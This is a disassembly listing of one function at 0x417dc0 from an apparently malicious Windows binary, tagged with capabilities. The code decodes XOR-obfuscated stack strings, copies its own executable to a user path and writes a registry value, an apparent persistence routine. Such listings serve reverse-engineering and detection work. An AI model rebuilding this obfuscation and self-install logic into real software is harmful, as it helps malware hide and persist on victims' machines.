Function at 0x417dc0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5065de
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x558
push ebx
push esi
mov dword [ebp - 0x1c], 0
xor ecx, ecx
push edi
mov dword [ebp - 0x14], 0x929194a6
mov dword [ebp - 0x10], 0x100a9b5
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x14], al
inc ecx
cmp ecx, 6
jb 0x417df8
lea ecx, [ebp - 0x14]
mov byte [ebp - 0xd], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417e10
mov ebx, closesocket
sub ecx, edx
mov edx, dword [0x534d6c]
mov eax, ebx
sub eax, edx
cmp eax, ecx
jb 0x419db7
cmp dword [0x534d70], 0x10
mov eax, 0x534d5c
jb 0x417e43
mov eax, dword [0x534d5c]
push edx
push eax
push ecx
lea eax, [ebp - 0x14]
push eax
push ecx
push dword [ebp - 0x94]
lea ecx, [ebp - 0x23c]
call fcn.004720e0
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x13], 0xa1b7a1b3
mov word [ebp - 0xf], 0xb1
mov byte [ebp - 0xd], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 5
jb 0x417e76
lea ecx, [ebp - 0x13]
mov byte [ebp - 0xd], 0
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417e90
sub ecx, edx
mov eax, ebx
mov edx, dword [0x534d6c]
sub eax, edx
cmp eax, ecx
jb 0x419dbc
cmp dword [0x534d70], 0x10
mov eax, 0x534d5c
jb 0x417ebe
mov eax, dword [0x534d5c]
push edx
push eax
push ecx
lea eax, [ebp - 0x13]
push eax
push ecx
push dword [ebp - 0x94]
lea ecx, [ebp - 0x254]
call fcn.004720e0
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x13], 0xa7b1a5b9
mov word [ebp - 0xf], 0xb0
mov byte [ebp - 0xd], 1
mov edi, edi
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 5
jb 0x417ef0
lea ecx, [ebp - 0x13]
mov byte [ebp - 0xd], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417f08
sub ecx, edx
mov eax, ebx
mov edx, dword [0x534d6c]
sub eax, edx
cmp eax, ecx
jb 0x419dc1
cmp dword [0x534d70], 0x10
mov eax, 0x534d5c
jb 0x417f36
mov eax, dword [0x534d5c]
push edx
push eax
push ecx
lea eax, [ebp - 0x13]
push eax
push ecx
push dword [ebp - 0x94]
lea ecx, [ebp - 0x1c4]
call fcn.004720e0
push 0x200
lea eax, [ebp - 0x560]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x560]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
lea ecx, [ebp - 0x560]
mov dword [ebp - 0x224], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x210], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417fb0
sub ecx, edx
lea eax, [ebp - 0x560]
push ecx
push eax
lea ecx, [ebp - 0x224]
call fcn.00402ae0
mov dword [ebp - 0x24], 0x1e
push 0x104
lea eax, [ebp - 0x360]
mov byte [ebp - 4], 3
push 0
push eax
mov dword [ebp - 0x94], 0x104
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x360]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x35], 0xb6b5bab8
xor ecx, ecx
mov dword [ebp - 0x31], 0xabaab8b4
mov dword [ebp - 0x2d], 0xbeaabcb8
mov word [ebp - 0x29], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 0xc
jb 0x418028
lea eax, [ebp - 0x35]
mov byte [ebp - 0x28], 0
push eax
call fcn.004edf21
mov edx, eax
add esp, 4
test edx, edx
je 0x4185b8
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418075
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x90]
call fcn.00402ae0
lea eax, [ebp - 0x1b]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x90]
mov word [ebp - 0x1b], 0x5c
mov byte [ebp - 0x19], 0
call fcn.0046a480
cmp dword [ebp - 0x228], 0x10
lea ecx, [ebp - 0x23c]
mov esi, dword [ebp - 0x22c]
jb 0x4180c3
mov ecx, dword [ebp - 0x23c]
mov edx, dword [ebp - 0x7c]
mov eax, edx
mov edi, dword [ebp - 0x80]
sub eax, edi
cmp esi, eax
ja 0x418104
lea eax, [edi + esi]
mov dword [ebp - 0x80], eax
lea ebx, [ebp - 0x90]
cmp edx, 0x10
jb 0x4180e8
mov ebx, dword [ebp - 0x90]
push esi
lea eax, [ebx + edi]
push ecx
push eax
call fcn.004e0f70
lea eax, [ebx + esi]
add esp, 0xc
mov byte [eax + edi], 0
mov ebx, closesocket
jmp 0x418119
push esi
push ecx
mov byte [ebp - 0x78], 0
lea ecx, [ebp - 0x90]
push dword [ebp - 0x78]
push esi
call fcn.004706c0
cmp dword [ebp - 0x7c], 0x10
lea esi, [ebp - 0x90]
jb 0x41812b
mov esi, dword [ebp - 0x90]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x419dc6
test esi, esi
je 0x418190
mov ecx, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418150
sub ecx, edx
je 0x418190
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x418181
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x418181
cmp eax, 0x20
je 0x418181
cmp eax, 0x45
je 0x418181
cmp eax, 0x24
jne 0x418190
push 0x5374a0
call fcn.004de823
add esp, 4
jmp 0x4181b0
push 0x5374a0
call fcn.004de823
add esp, 4
lea ecx, [ebp - 0x90]
call fcn.00415a10
test al, al
je 0x41857d
mov dword [ebp - 0x24], 0x928e90da
xor ecx, ecx
mov word [ebp - 0x20], 0x100
nop
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 4
jb 0x4181c0
lea ecx, [ebp - 0x1b]
mov byte [ebp - 0x1f], 0
mov word [ebp - 0x1b], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x19], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4181e2
sub ecx, edx
mov eax, ebx
mov edx, dword [ebp - 0x80]
sub eax, edx
cmp eax, ecx
jb 0x419dcc
cmp dword [ebp - 0x7c], 0x10
lea eax, [ebp - 0x90]
jb 0x41820c
mov eax, dword [ebp - 0x90]
push ecx
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x94]
lea ecx, [ebp - 0x74]
call fcn.004720e0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x23c]
cmp dword [ebp - 0x228], 0x10
mov edi, dword [ebp - 0x22c]
jb 0x418241
mov ecx, dword [ebp - 0x23c]
mov esi, dword [ebp - 0x60]
mov eax, esi
mov edx, dword [ebp - 0x64]
sub eax, edx
cmp edi, eax
ja 0x418277
lea eax, [edx + edi]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x74]
cmp esi, 0x10
jb 0x418260
mov eax, dword [ebp - 0x74]
push edi
lea esi, [eax + edx]
push ecx
push esi
call fcn.004e0f70
add esp, 0xc
mov byte [edi + esi], 0
lea ecx, [ebp - 0x74]
jmp 0x41828b
push edi
push ecx
mov byte [ebp - 0x78], 0
lea ecx, [ebp - 0x74]
push dword [ebp - 0x78]
push edi
call fcn.004706c0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov eax, dword [ecx]
mov dword [ebp - 0xfc], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0xf8], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0xf4], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0xf0], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0xec], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0xe8], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xfc]
call fcn.0046a480
mov edx, eax
mov dword [ebp - 0x24], 0x39e
xor eax, eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov ecx, dword [edx]
mov dword [ebp - 0x5c], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x58], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x54], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x50], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x4c], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x48], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xe8]
cmp ecx, 0x10
jb 0x418399
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41838f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dd1
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0xf
mov byte [ebp - 0xfc], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x4183ec
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4183e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dd1
push ecx
push edx
call fcn.004df511
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x64], 0
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x60], 0xf
mov ecx, esp
mov byte [ebp - 0x74], 0
push eax
call fcn.0046a770
call fcn.0040a600
add esp, 0x18
test al, al
jne 0x418545
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
jb 0x418428
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x210], 0x10
lea ecx, [ebp - 0x224]
jb 0x41843d
mov ecx, dword [ebp - 0x224]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x418545
mov dword [ebp - 0xc3], 0x83909aa7
xor ecx, ecx
mov dword [ebp - 0xbf], 0x9e88988f
mov dword [ebp - 0xbb], 0x9c97b0a0
mov dword [ebp - 0xb7], 0x6c716e72
mov dword [ebp - 0xb3], 0x505a7162
mov dword [ebp - 0xaf], 0x646e6761
mov dword [ebp - 0xab], 0x4c527e7b
mov dword [ebp - 0xa7], 0x76606365
mov dword [ebp - 0xa3], 0x7240617a
mov dword [ebp - 0x9f], 0x74736a6a
mov dword [ebp - 0x9b], 0x6a4c4172
mov word [ebp - 0x97], 0x4e
mov byte [ebp - 0x95], 1
nop
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0xc3], al
inc ecx
cmp ecx, 0x2d
jb 0x4184d0
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x95], 0
push eax
push 0x20006
push 0
lea eax, [ebp - 0xc3]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x418545
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
jb 0x418515
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x228], 0x10
lea ecx, [ebp - 0x23c]
jb 0x41852a
mov ecx, dword [ebp - 0x23c]
push dword [ebp - 0x4c]
push eax
push 1
push 0
push ecx
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x41857d
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418573
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419dd6
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x4185b8
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4185ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419ddb
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x42], 0xa7bbb0a0
xor ecx, ecx
mov word [ebp - 0x3e], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 4
jb 0x4185c7
lea eax, [ebp - 0x42]
mov byte [ebp - 0x3d], 0
push eax
call fcn.004edf21
mov ebx, eax
mov dword [ebp - 0x38], 0xa2bab9b5
add esp, 4
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x34], 0xa8a8bcab
xor ecx, ecx
mov dword [ebp - 0x30], 0xb9b1afac
mov dword [ebp - 0x2c], 0x474d49
mov byte [ebp - 0x28], 1
lea esp, [esp]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xf
jb 0x418610
lea eax, [ebp - 0x38]
mov byte [ebp - 0x28], 0
push eax
call fcn.004edf21
mov edx, eax
add esp, 4
test edx, edx
je 0x41997a
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], eax
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418660
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x90]
call fcn.00402ae0
lea eax, [ebp - 0x1b]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x90]
mov word [ebp - 0x1b], 0x5c
mov byte [ebp - 0x19], 0
call fcn.0046a480
cmp dword [ebp - 0x1b0], 0x10
lea ecx, [ebp - 0x1c4]
jb 0x4186a8
mov ecx, dword [ebp - 0x1c4]
mov edx, dword [ebp - 0x7c]
mov eax, edx
mov esi, dword [ebp - 0x80]
sub eax, esi
mov edi, dword [ebp - 0x1b4]
cmp edi, eax
ja 0x4186ea
lea eax, [esi + edi]
mov dword [ebp - 0x80], eax
lea ebx, [ebp - 0x90]
cmp edx, 0x10
jb 0x4186d3
mov ebx, dword [ebp - 0x90]
push edi
lea eax, [ebx + esi]
push ecx
push eax
call fcn.004e0f70
lea eax, [edi + ebx]
add esp, 0xc
mov byte [eax + esi], 0
jmp 0x418705
push edi
push ecx
mov byte [ebp - 0x1c], 0
lea ecx, [ebp - 0x90]
push dword [ebp - 0x1c]
push edi
call fcn.004706c0
mov edi, dword [ebp - 0x1b4]
cmp dword [ebp - 0x7c], 0x10
lea esi, [ebp - 0x90]
jb 0x418717
mov esi, dword [ebp - 0x90]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x419de0
test esi, esi
je 0x4187d2
mov ecx, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418740
sub ecx, edx
je 0x4187d2
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x418775
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x418775
cmp eax, 0x20
je 0x418775
cmp eax, 0x45
je 0x418775
cmp eax, 0x24
jne 0x4187d2
push 0x5374a0
call fcn.004de823
add esp, 4
mov bl, 1
mov dword [ebp - 4], 0xa
test byte [ebp - 0x24], 1
je 0x41886a
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x41886a
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418860
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419de6
jmp 0x418860
push 0x5374a0
call fcn.004de823
add esp, 4
lea edx, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
jb 0x4187f1
mov edx, dword [ebp - 0x90]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418820
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x130]
call fcn.00402ae0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x130]
mov eax, dword [ebp - 0x24]
or eax, 1
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], eax
call fcn.00415a10
test al, al
jne 0x418782
xor bl, bl
jmp 0x418784
push ecx
push edx
call fcn.004df511
add esp, 8
test bl, bl
je 0x41993c
mov dword [ebp - 0x12], 0x928e90da
xor ecx, ecx
mov word [ebp - 0xe], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x12], al
inc ecx
cmp ecx, 4
jb 0x418881
lea ecx, [ebp - 0x1b]
mov byte [ebp - 0xd], 0
mov word [ebp - 0x1b], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x19], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4188a3
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x80]
sub eax, edx
cmp eax, ecx
jb 0x419deb
cmp dword [ebp - 0x7c], 0x10
lea eax, [ebp - 0x90]
jb 0x4188d0
mov eax, dword [ebp - 0x90]
push ecx
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x94]
lea ecx, [ebp - 0x74]
call fcn.004720e0
mov byte [ebp - 4], 0xc
lea edx, [ebp - 0x1c4]
cmp dword [ebp - 0x1b0], 0x10
jb 0x4188ff
mov edx, dword [ebp - 0x1c4]
mov esi, dword [ebp - 0x60]
mov eax, esi
mov ecx, dword [ebp - 0x64]
sub eax, ecx
cmp edi, eax
ja 0x418935
lea eax, [ecx + edi]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x74]
cmp esi, 0x10
jb 0x41891e
mov eax, dword [ebp - 0x74]
push edi
lea esi, [eax + ecx]
push edx
push esi
call fcn.004e0f70
add esp, 0xc
mov byte [esi + edi], 0
lea ecx, [ebp - 0x74]
jmp 0x41894f
push edi
push edx
mov byte [ebp - 0x22], 0
lea ecx, [ebp - 0x74]
push dword [ebp - 0x22]
push edi
call fcn.004706c0
mov edi, dword [ebp - 0x1b4]
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov eax, dword [ecx]
mov dword [ebp - 0x5c], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x58], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x54], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x50], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x4c], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x48], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x12]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x5c]
call fcn.0046a480
mov edx, eax
xor eax, eax
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
mov ecx, dword [edx]
mov dword [ebp - 0x164], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x160], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x15c], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x158], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x154], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x150], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x418a4d
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418a43
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419df0
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x418a97
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418a8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419df0
push ecx
push edx
call fcn.004df511
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x64], 0
lea eax, [ebp - 0x164]
mov dword [ebp - 0x60], 0xf
mov ecx, esp
mov byte [ebp - 0x74], 0
push eax
call fcn.0046a770
call fcn.0040a600
add esp, 0x18
test al, al
jne 0x4198fe
cmp dword [ebp - 0x150], 0x10
lea eax, [ebp - 0x164]
jb 0x418adf
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x210], 0x10
lea ecx, [ebp - 0x224]
jb 0x418af4
mov ecx, dword [ebp - 0x224]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4198fe
mov dword [ebp - 0xe4], 0xd5a4bdd4
xor ecx, ecx
mov dword [ebp - 0xe0], 0x9889d6d8
mov dword [ebp - 0xdc], 0xaab1b5dc
mov dword [ebp - 0xd8], 0x235b4d52
mov dword [ebp - 0xd4], 0x276a772b
mov dword [ebp - 0xd0], 0x434d4040
mov dword [ebp - 0xcc], 0x5a5e49
mov byte [ebp - 0xc8], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0xe4], al
inc ecx
cmp ecx, 0x1b
jb 0x418b55
mov byte [ebp - 0xc8], 0
xor ecx, ecx
mov dword [ebp - 0x30], 0x83d9d5d6
mov dword [ebp - 0x2c], 0xd8d996
mov byte [ebp - 0x28], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x418b81
mov byte [ebp - 0x28], 0
xor ecx, ecx
mov dword [ebp - 0x15], 0x83d9d5d6
mov dword [ebp - 0x11], 0xd8d98a
mov byte [ebp - 0xd], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x15], al
inc ecx
cmp ecx, 7
jb 0x418ba7
xor eax, eax
mov byte [ebp - 0xd], 0
lea ecx, [ebp - 0x360]
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1a8], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x198], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418be8
sub ecx, edx
lea eax, [ebp - 0x360]
push ecx
push eax
lea ecx, [ebp - 0x1ac]
call fcn.00402ae0
mov byte [ebp - 4], 0x11
xor ecx, ecx
mov dword [ebp - 0x118], 0x839e9687
mov dword [ebp - 0x114], 0x88918a99
mov dword [ebp - 0x110], 0x8d9dd2dc
mov dword [ebp - 0x10c], 0x66766065
mov dword [ebp - 0x108], 0x27602a24
mov dword [ebp - 0x104], 0x2b5f5b27
mov word [ebp - 0x100], 0x2e
mov byte [ebp - 0xfe], 1
jmp 0x418c60
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x118], al
inc ecx
cmp ecx, 0x19
jb 0x418c60
lea eax, [ebp - 0x1ac]
mov byte [ebp - 0xfe], 0
push eax
lea edx, [ebp - 0x118]
lea ecx, [ebp - 0x14c]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x15]
mov byte [ebp - 4], 0x12
push ecx
mov ecx, eax
call fcn.0046a480
mov edx, eax
xor eax, eax
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x180], eax
mov ecx, dword [edx]
mov dword [ebp - 0x194], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x190], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x18c], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x188], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x184], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x180], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x164]
cmp dword [ebp - 0x150], 0x10
mov esi, dword [ebp - 0x154]
jb 0x418d2f
mov ecx, dword [ebp - 0x164]
mov edx, dword [ebp - 0x180]
mov eax, edx
mov ebx, dword [ebp - 0x184]
sub eax, ebx
cmp esi, eax
ja 0x418d81
lea eax, [ebx + esi]
mov dword [ebp - 0x184], eax
lea eax, [ebp - 0x194]
mov dword [ebp - 0x24], eax
cmp edx, 0x10
jb 0x418d63
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x24], eax
push esi
add eax, ebx
push ecx
push eax
call fcn.004e0f70
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x194]
add esp, 0xc
add eax, esi
mov byte [eax + ebx], 0
jmp 0x418d98
push esi
push ecx
mov byte [ebp - 0x22], 0
lea ecx, [ebp - 0x194]
push dword [ebp - 0x22]
push esi
call fcn.004706c0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e0], eax
mov eax, dword [ecx]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x1e0], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x30]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x1f4]
call fcn.0046a480
mov edx, eax
xor eax, eax
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], eax
mov ecx, dword [edx]
mov dword [ebp - 0x17c], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x178], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x174], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x170], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x16c], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x168], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1c4]
cmp dword [ebp - 0x1b0], 0x10
jb 0x418e9e
mov ecx, dword [ebp - 0x1c4]
mov edx, dword [ebp - 0x168]
mov eax, edx
mov esi, dword [ebp - 0x16c]
sub eax, esi
cmp edi, eax
ja 0x418ee9
lea eax, [esi + edi]
mov dword [ebp - 0x16c], eax
lea ebx, [ebp - 0x17c]
cmp edx, 0x10
jb 0x418ecc
mov ebx, dword [ebp - 0x17c]
push edi
lea eax, [ebx + esi]
push ecx
